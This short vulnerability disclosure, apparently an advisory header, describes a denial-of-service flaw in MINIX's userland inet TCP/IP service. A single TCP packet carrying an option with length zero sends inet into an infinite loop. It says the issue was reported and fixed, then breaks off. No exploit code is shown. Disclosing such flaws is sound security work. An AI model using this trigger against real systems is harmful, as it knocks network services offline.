 MINIX IS PRONE TO DENIAL OF SERVICE IN THE TCP/IP STACK (/service/inet) BY SENDING
 A SINGLE TCP PACKET WITH A MALFORMED TCP OPTION. A TCP OPTION WITH LENGTH OF ZERO
 WOULD CAUSE inet TO END UP IN AN INFINITE LOOP.

 BECAUSE OF MINIX'S MICROKERNEL NATURE, THE NETWORKING SERVICE RUNS IN USERLAND AND
 THEREFORE, THE MOST CRITICAL PARTS OF THE RUNNING KERNEL ARE UNAFFECTED.

 THIS ISSUE HAS BEEN REPORTED AND ALREADY FIXED:
